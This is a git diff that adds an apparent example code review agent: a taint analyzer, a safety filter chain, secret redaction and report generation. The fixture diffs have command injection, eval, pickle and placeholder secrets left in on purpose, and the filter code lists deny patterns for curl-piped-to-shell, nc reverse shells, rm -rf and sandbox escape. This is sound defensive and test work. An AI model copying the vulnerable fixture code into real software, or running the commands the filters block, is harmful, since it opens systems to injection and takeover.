++++ b/example.py +@@ -5,3 +5,4 @@ + def greet(name: str) -> str: + """Return a friendly greeting.""" +- return f"Hello {name}!" ++ """Greet someone by name.""" ++ return f"Hello, {name}!" +@@ -10,2 +11,2 @@ + def add(a: int, b: int) -> int: +- return a + b ++ """Add two integers and return the sum.""" ++ return int(a) + int(b) diff --git a/examples/skills_code_review_agent/fixtures/diffs/db_lifecycle.diff b/examples/skills_code_review_agent/fixtures/diffs/db_lifecycle.diff new file mode 100644 index 00000000..76bb1e91 --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/db_lifecycle.diff @@ -0,0 +1,23 @@ +diff --git a/db_repo.py b/db_repo.py +index 0000000..1111111 100644 +--- a/db_repo.py ++++ b/db_repo.py +@@ -1,0 +1,18 @@ ++import sqlite3 ++ ++ ++def get_users() -> list: ++ conn = sqlite3.connect("app.db") ++ cursor = conn.cursor() ++ cursor.execute("SELECT * FROM users") ++ rows = cursor.fetchall() ++ return rows # conn and cursor never closed ++ ++ ++def insert_user(name: str) -> None: ++ conn = sqlite3.connect("app.db") ++ cursor = conn.cursor() ++ cursor.execute("INSERT INTO users (name) VALUES (?)", (name,)) ++ # Missing conn.commit() ++ cursor.close() ++ conn.close() diff --git a/examples/skills_code_review_agent/fixtures/diffs/duplicate_finding.diff b/examples/skills_code_review_agent/fixtures/diffs/duplicate_finding.diff new file mode 100644 index 00000000..7b1e3d76 --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/duplicate_finding.diff @@ -0,0 +1,20 @@ +diff --git a/service.py b/service.py +index 0000000..1111111 100644 +--- a/service.py ++++ b/service.py +@@ -1,0 +1,15 @@ ++import os ++ ++ ++def run_command_1(cmd: str) -> str: ++ return os.system(cmd) # security issue ++ ++ ++def run_command_2(cmd: str) -> str: ++ return os.system(cmd) # same security issue, different function ++ ++ ++def run_command_3(cmd: str) -> str: ++ # This also calls os.system on untrusted input ++ result = os.system(cmd) # same pattern again ++ return str(result) diff --git a/examples/skills_code_review_agent/fixtures/diffs/missing_tests.diff b/examples/skills_code_review_agent/fixtures/diffs/missing_tests.diff new file mode 100644 index 00000000..128f3f3c --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/missing_tests.diff @@ -0,0 +1,17 @@ +diff --git a/math_utils.py b/math_utils.py +index 0000000..1111111 100644 +--- a/math_utils.py ++++ b/math_utils.py +@@ -1,0 +1,12 @@ ++def calculate_average(values: list[float]) -> float: ++ if not values: ++ return 0.0 ++ return sum(values) / len(values) ++ ++ ++def find_median(values: list[float]) -> float: ++ sorted_vals = sorted(values) ++ n = len(sorted_vals) ++ if n % 2 == 1: ++ return sorted_vals[n // 2] ++ return (sorted_vals[n // 2 - 1] + sorted_vals[n // 2]) / 2 diff --git a/examples/skills_code_review_agent/fixtures/diffs/sandbox_failure.diff b/examples/skills_code_review_agent/fixtures/diffs/sandbox_failure.diff new file mode 100644 index 00000000..e85ac702 --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/sandbox_failure.diff @@ -0,0 +1,13 @@ +diff --git a/long_task.py b/long_task.py +index 0000000..1111111 100644 +--- a/long_task.py ++++ b/long_task.py +@@ -1,0 +1,8 @@ ++import time ++ ++ ++def infinite_loop(): ++ """This function would timeout in sandbox.""" ++ while True: ++ time.sleep(1) ++ print("still running...") diff --git a/examples/skills_code_review_agent/fixtures/diffs/secret_redaction.diff b/examples/skills_code_review_agent/fixtures/diffs/secret_redaction.diff new file mode 100644 index 00000000..be9f3318 --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/secret_redaction.diff @@ -0,0 +1,18 @@ +diff --git a/config.py b/config.py +index 0000000..1111111 100644 +--- a/config.py ++++ b/config.py +@@ -1,0 +1,12 @@ ++import os ++ ++ ++# Application configuration ++API_KEY = "sk-abc123def456ghi789jkl012mno345pqr678stu" ++GITHUB_TOKEN = "github_pat_11AZZJUYA0KF2ao68ScGLT_X8BHm0mZE27E8tkX4Sxo89agi" ++ ++DB_PASSWORD = "super_secret_db_password_12345" ++ ++AWS_ACCESS_KEY = "AKIA1234567890ABCDEF" ++AWS_SECRET = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" ++ ++secret_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" diff --git a/examples/skills_code_review_agent/fixtures/diffs/security.diff b/examples/skills_code_review_agent/fixtures/diffs/security.diff new file mode 100644 index 00000000..8d08080a --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/diffs/security.diff @@ -0,0 +1,17 @@ +diff --git a/handler.py b/handler.py +index 0000000..1111111 100644 +--- a/handler.py ++++ b/handler.py +@@ -1,0 +1,12 @@ ++import os ++import subprocess ++import pickle ++ ++ ++def process_file(filename: str) -> str: ++ user_input = filename ++ os.system(f"cat {user_input}") ++ subprocess.run(f"wc -l {filename}", shell=True) ++ data = pickle.loads(open(filename, "rb").read()) ++ result = eval(f"len('{filename}')") ++ return str(result) diff --git a/examples/skills_code_review_agent/fixtures/expected_findings.json b/examples/skills_code_review_agent/fixtures/expected_findings.json new file mode 100644 index 00000000..23446a97 --- /dev/null +++ b/examples/skills_code_review_agent/fixtures/expected_findings.json @@ -0,0 +1,28 @@ +{ + "clean": [], + "security": [ + {"file": "app.py", "line": 3, "category": "security", "title": "eval() on dynamic input"}, + {"file": "app.py", "line": 5, "category": "security", "title": "os.system() with potentially unsanitized input"} + ], + "async_resource_leak": [ + {"file": "worker.py", "line": 4, "category": "async_error", "title": "time.sleep() in async context"}, + {"file": "worker.py", "line": 7, "category": "resource_leak", "title": "open() without context manager"} + ], + "db_lifecycle": [ + {"file": "db_handler.py", "line": 3, "category": "db_lifecycle", "title": "Database cursor/connection created"}, + {"file": "db_handler.py", "line": 6, "category": "db_lifecycle", "title": "DB execute without visible commit/close"} + ], + "missing_tests": [ + {"file": "utils.py", "line": 2, "category": "missing_tests", "title": "New function 'calculate' may need tests"} + ], + "duplicate_finding": [ + {"file": "dup.py", "line": 3, "category": "security", "title": "subprocess with shell=True"} + ], + "sandbox_failure": [ + {"file": "dangerous.py", "line": 2, "category": "security", "title": "os.system() with potentially unsanitized input"} + ], + "secret_redaction": [ + {"file": "config.py", "line": 1, "category": "secret_info", "title": "Hardcoded API key detected"}, + {"file": "config.py", "line": 3, "category": "secret_info", "title": "GitHub personal access token in code"} + ] +} diff --git a/examples/skills_code_review_agent/pipeline/__init__.py b/examples/skills_code_review_agent/pipeline/__init__.py new file mode 100644 index 00000000..b92e69c1 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/__init__.py @@ -0,0 +1,2 @@ +# Code Review Agent Pipeline +# Stages: parse → filter → scan → dedup → redact → report → store diff --git a/examples/skills_code_review_agent/pipeline/ast_analyzer.py b/examples/skills_code_review_agent/pipeline/ast_analyzer.py new file mode 100644 index 00000000..3475b42f --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/ast_analyzer.py @@ -0,0 +1,234 @@ +"""AST-based taint analysis for Python and JavaScript/TypeScript code. + +Performs lightweight taint tracking from user input sources to dangerous sinks. +Falls back gracefully when ast module is unavailable or parsing fails. +""" + +import re +from typing import Any + +from .types import Finding, FindingCategory, Severity + +# ── Python AST analysis ────────────────────────────────────────────── + +try: + import ast as _py_ast + + _PY_AST_AVAILABLE = True +except ImportError: + _PY_AST_AVAILABLE = False + +# Taint sources: where untrusted data enters the program +_PY_SOURCES = {"request", "input", "environ", "getenv", "sys.argv", "argv", + "raw_input", "get_data", "get_json", "get_body", "get_argument"} + +# Taint sinks: dangerous operations +_PY_SINKS = { + "subprocess": ("subprocess.call", "subprocess.run", "subprocess.Popen", + "os.system", "os.popen", "commands.getoutput"), + "sql": (".execute(", ".executemany(", ".raw_execute(", "cursor.execute"), + "eval": ("eval(", "exec(", "compile("), + "file": ("open(", "os.remove", "os.unlink", "shutil.rmtree"), +} + + +def analyze_python_ast(source: str, filename: str = "") -> list[Finding]: + """Analyze Python source for taint flow vulnerabilities. + + Args: + source: Python source code. + filename: File name for reporting. + + Returns: + List of Findings from AST analysis. + """ + findings: list[Finding] = [] + if not _PY_AST_AVAILABLE: + return findings + + try: + tree = _py_ast.parse(source) + except SyntaxError: + return findings + + visitor = _PyTaintVisitor(filename) + visitor.visit(tree) + return visitor.findings + + +class _PyTaintVisitor(_py_ast.NodeVisitor): + """AST visitor that tracks tainted variables to dangerous sinks.""" + + def __init__(self, filename: str): + self.filename = filename + self.findings: list[Finding] = [] + self.tainted: set[str] = set() + self._assignment_targets: set[str] = set() + + def visit_Call(self, node: _py_ast.Call) -> None: + # Check if call is to a taint source + if isinstance(node.func, _py_ast.Name): + if node.func.id in _PY_SOURCES: + # Mark the result as tainted if assigned + self._mark_current_context() + self.generic_visit(node) + + def _mark_current_context(self) -> None: + """Mark assignment targets in current context as tainted.""" + # Handled by visit_Assign + pass + + def visit_Assign(self, node: _py_ast.Assign) -> None: + for target in node.targets: + if isinstance(target, _py_ast.Name): + self._assignment_targets.add(target.id) + if isinstance(node.value, _py_ast.Call): + if isinstance(node.value.func, _py_ast.Name): + if node.value.func.id in _PY_SOURCES: + for target in node.targets: + if isinstance(target, _py_ast.Name): + self.tainted.add(target.id) + # Check for string concatenation in dangerous calls + if isinstance(node.value, _py_ast.BinOp): + if isinstance(node.value.op, _py_ast.Add): + self._check_string_concat(node.value, node.lineno) + self.generic_visit(node) + + def _check_string_concat(self, node: _py_ast.BinOp, lineno: int) -> None: + """Flag string concatenation used in system/shell calls.""" + has_str = isinstance(node.left, _py_ast.Constant) and isinstance(node.left.value, str) + has_var = isinstance(node.right, _py_ast.Name) + if has_str and has_var: + self.findings.append(Finding( + severity=Severity.HIGH, + category=FindingCategory.SECURITY, + file=self.filename, + line=lineno, + title="String concatenation in system/shell context — possible injection", + evidence=f"String concatenation with variable at line {lineno}", + recommendation="Use parameterized commands or subprocess with a list of arguments.", + confidence=0.75, + source="ast_taint_analyzer", + )) + + +def analyze_python_regex(source: str, filename: str = "") -> list[Finding]: + """Fallback regex-based analysis for Python when AST parsing is unavailable. + + Uses regex patterns to detect common taint flow patterns. + """ + findings: list[Finding] = [] + + patterns = [ + (re.compile(r'(?:os\.system|os\.popen|subprocess\.\w+)\s*\([^)]*(?:\+|%|\.format|f["\'])'), + "Potential command injection via string concatenation in subprocess call", + Severity.HIGH, 0.8), + (re.compile(r'\.execute\s*\([^)]*(?:\+|%|\.format|f["\'])'), + "Potential SQL injection via string concatenation in query", + Severity.CRITICAL, 0.85), + (re.compile(r'eval\s*\([^)]*(?:\+|\.format|f["\']|request|input)'), + "eval() with potentially tainted input — code injection risk", + Severity.CRITICAL, 0.9), + ] + + for line_no, line in enumerate(source.split("\n"), start=1): + for pattern, title, severity, confidence in patterns: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.SECURITY, + file=filename, + line=line_no, + title=title, + evidence=line.strip()[:120], + recommendation="Use parameterized APIs and avoid string concatenation with user input.", + confidence=confidence, + source="ast_regex_fallback", + )) + + return findings + + +# ── JavaScript/TypeScript regex analysis ───────────────────────────── + +_JS_TAINT_PATTERNS = [ + (re.compile(r'(?:child_process\.exec|child_process\.spawn)\s*\([^)]*(?:\+|\.concat|`\$\{)'), + "Potential command injection in Node.js child_process call", + Severity.HIGH, 0.8), + (re.compile(r'eval\s*\([^)]*(?:\+|\.concat|`\$\{)'), + "eval() with dynamic input — code injection risk in JS/TS", + Severity.CRITICAL, 0.9), + (re.compile(r'(?:\.innerHTML\s*=|dangerouslySetInnerHTML)'), + "Potential XSS via innerHTML assignment", + Severity.HIGH, 0.85), + (re.compile(r'(?:\.query\s*\(|\.execute\s*\()[^)]*(?:\+|\.concat|`\$\{)'), + "Potential SQL injection in JS/TS database query", + Severity.CRITICAL, 0.85), +] + + +def analyze_js_ts(source: str, filename: str = "") -> list[Finding]: + """Analyze JavaScript/TypeScript code for security issues using regex. + + Args: + source: JS/TS source code. + filename: File name for reporting. + + Returns: + List of Findings. + """ + findings: list[Finding] = [] + for line_no, line in enumerate(source.split("\n"), start=1): + for pattern, title, severity, confidence in _JS_TAINT_PATTERNS: + if pattern.search(line): + findings.append(Finding( + severity=severity, + category=FindingCategory.SECURITY, + file=filename, + line=line_no, + title=title, + evidence=line.strip()[:120], + recommendation="Avoid dynamic code execution with untrusted input.", + confidence=confidence, + source="js_ts_analyzer", + )) + return findings + + +# ── Language detection and unified API ─────────────────────────────── + +_PY_EXTENSIONS = {".py", ".pyw", ".pyx", ".pxd", ".pyi"} +_JS_EXTENSIONS = {".js", ".jsx", ".ts", ".tsx", ".mjs", ".cjs"} + + +def is_supported_language(filename: str) -> bool: + """Check if the file extension is supported for AST analysis.""" + ext = "." + filename.rsplit(".", 1)[-1] if "." in filename else "" + return ext.lower() in _PY_EXTENSIONS | _JS_EXTENSIONS + + +def analyze_source(source: str, filename: str = "") -> list[Finding]: + """Analyze source code with language-appropriate method. + + Uses AST for Python when available, falls back to regex. + Uses regex patterns for JavaScript/TypeScript. + + Args: + source: Source code text. + filename: File name (used for language detection). + + Returns: + List of Findings. + """ + ext = "." + filename.rsplit(".", 1)[-1] if "." in filename else ".py" + + if ext.lower() in _PY_EXTENSIONS: + findings = analyze_python_ast(source, filename) + if not findings: + findings = analyze_python_regex(source, filename) + return findings + elif ext.lower() in _JS_EXTENSIONS: + return analyze_js_ts(source, filename) + else: + # Unsupported language — skip AST analysis + return [] diff --git a/examples/skills_code_review_agent/pipeline/config.py b/examples/skills_code_review_agent/pipeline/config.py new file mode 100644 index 00000000..dc7749f7 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/config.py @@ -0,0 +1,52 @@ +"""Configuration loading for the code review agent.""" + +from dataclasses import dataclass, field +from typing import Optional + + +@dataclass +class ReviewConfig: + """Configuration for a code review run.""" + # Input + diff_file: Optional[str] = None + repo_path: Optional[str] = None + + # Filter + filter_enabled: bool = True + denied_patterns: list[str] = field(default_factory=lambda: [ + r"rm\s+-rf\s+/", + r"curl.*\|.*sh", + r"eval\s+", + r"__import__\s*\(\s*['\"]os['\"]", + ]) + + # Sandbox + sandbox_timeout_seconds: int = 30 + sandbox_max_output_bytes: int = 1024 * 1024 # 1MB + sandbox_env_allowlist: list[str] = field(default_factory=lambda: [ + "PATH", "HOME", "USER", "PYTHONPATH", "LANG" + ]) + + # Scanners + enabled_scanners: list[str] = field(default_factory=lambda: [ + "security", "async_error", "resource_leak", + "db_lifecycle", "missing_tests", "secret_info" + ]) + min_confidence: float = 0.5 + + # Storage + db_path: str = "review_history.db" + + # Output + output_dir: str = "." + dry_run: bool = False + verbose: bool = False + + +def load_config(**kwargs) -> ReviewConfig: + """Load configuration with optional overrides.""" + cfg = ReviewConfig() + for k, v in kwargs.items(): + if v is not None and hasattr(cfg, k): + setattr(cfg, k, v) + return cfg diff --git a/examples/skills_code_review_agent/pipeline/dedup.py b/examples/skills_code_review_agent/pipeline/dedup.py new file mode 100644 index 00000000..7e45420f --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/dedup.py @@ -0,0 +1,122 @@ +"""Deduplication — remove duplicate findings and reduce noise. + +Implements three-tier confidence classification: + - High-confidence (>= 0.8): automated findings, reliable + - Warning (>= 0.55): likely issues, needs attention + - Needs human review (< 0.55): possible false positive +""" + +from .types import Finding + +# Three-tier confidence thresholds +HIGH_CONFIDENCE_THRESHOLD = 0.8 +WARNING_THRESHOLD = 0.55 + + +def deduplicate(findings: list[Finding]) -> list[Finding]: + """Remove duplicate findings based on fingerprint. + + Two findings are duplicates if they share the same + (file, line, category, title) tuple. The one with higher + confidence is kept. + + Args: + findings: Raw findings list. + + Returns: + Deduplicated findings sorted by severity then confidence. + """ + seen: dict[str, Finding] = {} + + for f in findings: + fp = f.fingerprint() + if fp in seen: + if f.confidence > seen[fp].confidence: + seen[fp] = f + else: + seen[fp] = f + + severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} + result = sorted( + seen.values(), + key=lambda f: (severity_order.get(f.severity.value, 99), -f.confidence), + ) + + return result + + +def confidence_tier(finding: Finding) -> str: + """Return the confidence tier for a single finding. + + Returns: + 'high' (>= 0.8), 'warning' (>= 0.55), or 'needs_human_review' (< 0.55). + """ + if finding.confidence >= HIGH_CONFIDENCE_THRESHOLD: + return "high" + elif finding.confidence >= WARNING_THRESHOLD: + return "warning" + return "needs_human_review" + + +def separate_by_tiers(findings: list[Finding]) -> dict[str, list[Finding]]: + """Split findings into three confidence tiers. + + Args: + findings: Deduplicated findings. + + Returns: + Dict with keys 'high', 'warning', 'needs_human_review'. + """ + tiers: dict[str, list[Finding]] = { + "high": [], + "warning": [], + "needs_human_review": [], + } + for f in findings: + tiers[confidence_tier(f)].append(f) + return tiers + + +def separate_low_confidence( + findings: list[Finding], + threshold: float = 0.5, +) -> tuple[list[Finding], list[Finding]]: + """Split findings into high-confidence and low-confidence groups. + + Legacy API — prefer separate_by_tiers() for three-tier classification. + + Args: + findings: Deduplicated findings. + threshold: Confidence threshold. + + Returns: + (high_confidence_findings, low_confidence_findings) + """ + high: list[Finding] = [] + low: list[Finding] = [] + + for f in findings: + if f.confidence >= threshold: + high.append(f) + else: + low.append(f) + + return high, low + + +def tier_summary(findings: list[Finding]) -> dict: + """Generate a summary of confidence tiers. + + Args: + findings: List of findings. + + Returns: + Dict with counts per tier and total. + """ + tiers = separate_by_tiers(findings) + return { + "total": len(findings), + "high_confidence": len(tiers["high"]), + "warning": len(tiers["warning"]), + "needs_human_review": len(tiers["needs_human_review"]), + } diff --git a/examples/skills_code_review_agent/pipeline/diff_parser.py b/examples/skills_code_review_agent/pipeline/diff_parser.py new file mode 100644 index 00000000..b5a00926 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/diff_parser.py @@ -0,0 +1,185 @@ +"""Unified diff parser — extracts structured file changes from git diffs.""" + +import re + +from .types import DiffFile, DiffHunk + +_HUNK_HEADER_RE = re.compile( + r'^@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@(.*)$' +) +_FILENAME_RE = re.compile(r'^\+\+\+ b/(.*)$') +_QUOTED_FILENAME_RE = re.compile(r'^\+\+\+ "b/(.*)"$') +_OLD_FILENAME_RE = re.compile(r'^--- a/(.*)$') +_OLD_QUOTED_FILENAME_RE = re.compile(r'^--- "a/(.*)"$') +_DEVNULL_RE = re.compile(r'^\+\+\+ /dev/null') +_NEW_FILE_RE = re.compile(r'^new file mode') +_DELETED_FILE_RE = re.compile(r'^deleted file mode') +_BINARY_RE = re.compile(r'^Binary files') +_GIT_DIFF_RE = re.compile(r'^diff --git') + + +def parse_diff(diff_text: str) -> list[DiffFile]: + """Parse a unified diff into structured DiffFile objects. + + Args: + diff_text: Raw unified diff text. + + Returns: + List of DiffFile objects, one per changed file. + """ + if not diff_text or not diff_text.strip(): + return [] + + lines = diff_text.split('\n') + files: list[DiffFile] = [] + current_file: DiffFile | None = None + current_hunk: DiffHunk | None = None + + # Accumulate metadata flags between diff headers + pending_meta = {"is_new": False, "is_deleted": False, "is_binary": False, + "_old_filename": ""} + + for line in lines: + # Collect metadata before we have a current_file + if not current_file: + if _NEW_FILE_RE.match(line): + pending_meta["is_new"] = True + continue + if _DELETED_FILE_RE.match(line): + pending_meta["is_deleted"] = True + continue + if _BINARY_RE.match(line): + pending_meta["is_binary"] = True + # For binary diffs without a +++ line, still create a file + continue + + # New file header (+++ b/filename or +++ "b/filename") + m = _FILENAME_RE.match(line) + if not m: + m = _QUOTED_FILENAME_RE.match(line) + if m: + if current_file: + _finalize_hunk(current_file, current_hunk) + files.append(current_file) + current_file = DiffFile(filename=m.group(1)) + # Apply pending metadata + current_file.is_new = pending_meta["is_new"] + current_file.is_deleted = pending_meta["is_deleted"] + current_file.is_binary = pending_meta["is_binary"] + pending_meta = {"is_new": False, "is_deleted": False, "is_binary": False, + "_old_filename": ""} + current_hunk = None + continue + + # /dev/null (deleted file after +++ line) + if _DEVNULL_RE.match(line): + if current_file: + current_file.is_deleted = True + else: + pending_meta["is_deleted"] = True + continue + + # Old file header (--- a/filename or --- "a/filename") + m = _OLD_FILENAME_RE.match(line) + if not m: + m = _OLD_QUOTED_FILENAME_RE.match(line) + if m: + if current_file: + current_file.old_filename = m.group(1) + else: + # Store old filename for deleted file handling + pending_meta["_old_filename"] = m.group(1) + continue + + # Metadata lines that appear after current_file is set + if current_file: + if _NEW_FILE_RE.match(line): + current_file.is_new = True + continue + if _DELETED_FILE_RE.match(line): + current_file.is_deleted = True + continue + if _BINARY_RE.match(line): + current_file.is_binary = True + continue + + if not current_file: + # Handle binary-only diffs and deleted-file diffs + if pending_meta["is_binary"]: + current_file = DiffFile( + filename="unknown", + is_binary=True, + is_new=pending_meta["is_new"], + is_deleted=pending_meta["is_deleted"], + ) + pending_meta = {"is_new": False, "is_deleted": False, "is_binary": False} + continue + # Handle deleted file (+++ /dev/null) — try to get name from --- line + if pending_meta.get("_old_filename"): + current_file = DiffFile( + filename=pending_meta["_old_filename"], + is_deleted=True, + ) + pending_meta = {"is_new": False, "is_deleted": False, "is_binary": False} + continue + continue + + # Hunk header + m = _HUNK_HEADER_RE.match(line) + if m and current_file: + _finalize_hunk(current_file, current_hunk) + current_hunk = DiffHunk( + header=line, + old_start=int(m.group(1)), + old_count=int(m.group(2)) if m.group(2) else 1, + new_start=int(m.group(3)), + new_count=int(m.group(4)) if m.group(4) else 1, + ) + continue + + # Content lines within a hunk + if current_file and current_hunk is not None: + current_hunk.lines.append(line) + current_file.raw_lines.append(line) + + # Finalize last file + if current_file: + _finalize_hunk(current_file, current_hunk) + files.append(current_file) + + return files + + +def _finalize_hunk(diff_file: DiffFile, hunk: DiffHunk | None) -> None: + """Add completed hunk to file's hunk list.""" + if hunk is not None and hunk.lines: + diff_file.hunks.append(hunk) + + +def get_changed_lines(diff_file: DiffFile) -> list[tuple[int, str]]: + """Extract all added/modified lines with their new line numbers. + + Returns: + List of (line_number, line_content) tuples for added lines. + """ + result: list[tuple[int, str]] = [] + for hunk in diff_file.hunks: + new_lineno = hunk.new_start + for line in hunk.lines: + if line.startswith('+') and not line.startswith('+++'): + result.append((new_lineno, line[1:])) + new_lineno += 1 + elif not line.startswith('-'): + new_lineno += 1 + return result + + +def summarize_diff(files: list[DiffFile]) -> str: + """Generate a human-readable summary of the diff.""" + if not files: + return "No changes detected." + parts = [f"{len(files)} file(s) changed:"] + for f in files: + status = "A" if f.is_new else ("D" if f.is_deleted else "M") + parts.append(f" {status} {f.filename}") + return "\n".join(parts) diff --git a/examples/skills_code_review_agent/pipeline/filter_chain.py b/examples/skills_code_review_agent/pipeline/filter_chain.py new file mode 100644 index 00000000..572b2354 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/filter_chain.py @@ -0,0 +1,135 @@ +"""Filter chain — pre-execution safety checks before sandbox runs. + +Integrates with tRPC-Agent's Filter framework when available, with +a standalone fallback for standalone usage. +""" + +import re + +from .types import FilterDecision + + +class SafetyFilter: + """A single safety filter rule.""" + + def __init__(self, name: str, pattern: str, reason: str, + action: str = "deny"): + self.name = name + self.pattern = re.compile(pattern, re.IGNORECASE) + self.reason = reason + self.action = action # "deny" or "needs_human_review" + + def check(self, content: str) -> FilterDecision | None: + """Check if content matches the denied pattern. + + Returns FilterDecision if matched, None if clean. + """ + if self.pattern.search(content): + return FilterDecision( + action=self.action, + reason=self.reason, + filter_name=self.name, + ) + return None + + +# Built-in safety filters +_DEFAULT_FILTERS = [ + SafetyFilter( + "dangerous_commands", + r"rm\s+-rf\s+/|mkfs\.|dd\s+if=|:\s*\(\)\s*\{.*:\|:.*\}|fork\s+bomb", + "High-risk shell command detected — potential system destruction", + "deny", + ), + SafetyFilter( + "network_exfil", + r"curl.*\|\s*(?:ba)?sh|wget.*-O\s*-.*\|.*sh|nc\s+-[lL].*-[eE]", + "Potential data exfiltration or reverse shell", + "deny", + ), + SafetyFilter( + "sandbox_escape", + r"/proc/|/sys/|/dev/mem|chroot|unshare|nsenter", + "Sandbox escape attempt detected", + "deny", + ), + SafetyFilter( + "sudo_escalation", + r"sudo\s+|su\s+-|pkexec", + "Privilege escalation attempt", + "deny", + ), +] + + +class FilterChain: + """Chain of safety filters executed in order. + + Returns the first non-allow decision (deny or needs_human_review), + or allow if all filters pass. + """ + + def __init__(self, filters: list[SafetyFilter] | None = None, + extra_patterns: list[str] | None = None): + self.filters = list(filters or _DEFAULT_FILTERS) + if extra_patterns: + for i, pat in enumerate(extra_patterns): + self.filters.append(SafetyFilter( + name=f"custom_rule_{i}", + pattern=pat, + reason=f"Matched custom deny pattern: {pat}", + action="deny", + )) + + def evaluate(self, diff_text: str, *extra_contexts: str) -> FilterDecision: + """Run all filters against the diff and any extra context. + + Args: + diff_text: The raw diff content. + *extra_contexts: Additional content to scan (e.g., script outputs). + + Returns: + FilterDecision: allow, deny, or needs_human_review. + """ + combined = diff_text + "\n".join(extra_contexts) + for f in self.filters: + result = f.check(combined) + if result is not None: + return result + return FilterDecision(action="allow", reason="All safety checks passed") + + def get_filters_summary(self) -> dict: + """Return summary of all active filters.""" + return { + "total_filters": len(self.filters), + "filters": [ + {"name": f.name, "pattern": f.pattern.pattern, "action": f.action} + for f in self.filters + ], + } + + +# ── SDK integration (attempt to use tRPC-Agent Filter framework) ── + +try: + from trpc_agent_sdk.filter import BaseFilter, FilterType + + class CodeReviewAgentFilter(BaseFilter): + """tRPC-Agent framework filter for code review safety checks.""" + + type = FilterType.AGENT + name = "code_review_safety" + + async def _before(self, ctx, req, rsp): + """Intercept before agent execution.""" + # This would be used in a full agent setup + pass + + _HAS_SDK_FILTER = True +except ImportError: + _HAS_SDK_FILTER = False + + +def has_sdk_filter_integration() -> bool: + """Check if tRPC-Agent Filter framework is available.""" + return _HAS_SDK_FILTER diff --git a/examples/skills_code_review_agent/pipeline/redaction.py b/examples/skills_code_review_agent/pipeline/redaction.py new file mode 100644 index 00000000..793beb20 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/redaction.py @@ -0,0 +1,82 @@ +"""Sensitive information redaction — sanitize outputs before storage. + +Ensures no API keys, tokens, or passwords appear in reports or database. +""" + +import re + +# Redaction patterns: (regex, replacement, label) +_PATTERNS: list[tuple[re.Pattern, str, str]] = [ + # OpenAI keys (match before generic API key pattern) + (re.compile(r'sk-[A-Za-z0-9]{20,}'), "sk-***", "OpenAI API key"), + # GitHub tokens + (re.compile(r'(?:ghp|github_pat|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{20,}'), + "ghp_***", "GitHub token"), + # JWT tokens (match before shorter patterns) + (re.compile(r'eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+'), + "JWT***", "JWT token"), + # AWS keys + (re.compile(r'AKIA[0-9A-Z]{16}'), "AKIA***", "AWS access key"), + # Connection strings with credentials + (re.compile(r'(?:mongodb|mysql|postgresql|redis)://[^@\s]+@', + re.IGNORECASE), + "db://***:***@", "Database connection string"), + # Private key headers + (re.compile(r'-----BEGIN (?:RSA|EC|DSA|OPENSSH) PRIVATE KEY-----'), + "-----BEGIN *** PRIVATE KEY-----", "Private key"), + # Generic API key assignments + (re.compile(r'(?:api[_-]?key|apikey|API_KEY)\s*[=:]\s*["\']?\S{8,}["\']?', + re.IGNORECASE), + "API_KEY=***", "API key assignment"), + # Passwords + (re.compile(r'(?:password|passwd|pwd)\s*[=:]\s*["\']\S+["\']', re.IGNORECASE), + "password=***", "Password assignment"), + # Tokens/secrets + (re.compile(r'(?:secret|token|AUTH_TOKEN)\s*[=:]\s*["\'][A-Za-z0-9_\-]{8,}["\']', + re.IGNORECASE), + "token=***", "Secret/token assignment"), + # AWS credential keys (names) + (re.compile(r'(?:aws_access_key_id|aws_secret_access_key)\s*[=:]\s*\S+', + re.IGNORECASE), + "aws_key=***", "AWS credential"), +] + + +def redact(text: str) -> tuple[str, int]: + """Redact sensitive information from text. + + Args: + text: Input text to scan for sensitive data. + + Returns: + (redacted_text, count_of_redactions) + """ + count = 0 + result = text + for pattern, replacement, _label in _PATTERNS: + new_result, n = pattern.subn(replacement, result) + if n > 0: + count += n + result = new_result + return result, count + + +def redact_finding_evidence(findings: list) -> tuple[list, int]: + """Redact evidence fields in a list of findings. + + Returns (redacted_findings_list, total_redactions). + """ + total = 0 + for f in findings: + if hasattr(f, 'evidence') and f.evidence: + f.evidence, n = redact(f.evidence) + total += n + return findings, total + + +def should_redact(text: str) -> bool: + """Quick check if text contains potentially sensitive information.""" + for pattern, _, _ in _PATTERNS: + if pattern.search(text): + return True + return False diff --git a/examples/skills_code_review_agent/pipeline/report.py b/examples/skills_code_review_agent/pipeline/report.py new file mode 100644 index 00000000..7d0312a7 --- /dev/null +++ b/examples/skills_code_review_agent/pipeline/report.py @@ -0,0 +1,207 @@ +"""Report generation — JSON and Markdown output for review results.""" + +import json +import textwrap +from datetime import datetime, timezone + +from .types import Finding, FilterDecision, ReviewReport, Severity +from .dedup import separate_low_confidence + + +def generate_json_report(report: ReviewReport) -> str: + """Generate a JSON-format review report. + + Args: + report: Complete review report. + + Returns: + JSON string. + """ + findings_json = [] + for f in report.findings: + findings_json.append({ + "severity": f.severity.value, + "category": f.category.value, + "file": f.file, + "line": f.line, + "title": f.title, + "evidence": f.evidence, + "recommendation": f.recommendation, + "confidence": f.confidence, + "source": f.source, + }) + + high_conf, low_conf = separate_low_confidence(report.findings, threshold=0.5) + + output = { + "task_id": report.task_id, + "generated_at": datetime.now(timezone.utc).isoformat(), + "summary": { + "total_findings": len(report.findings), + 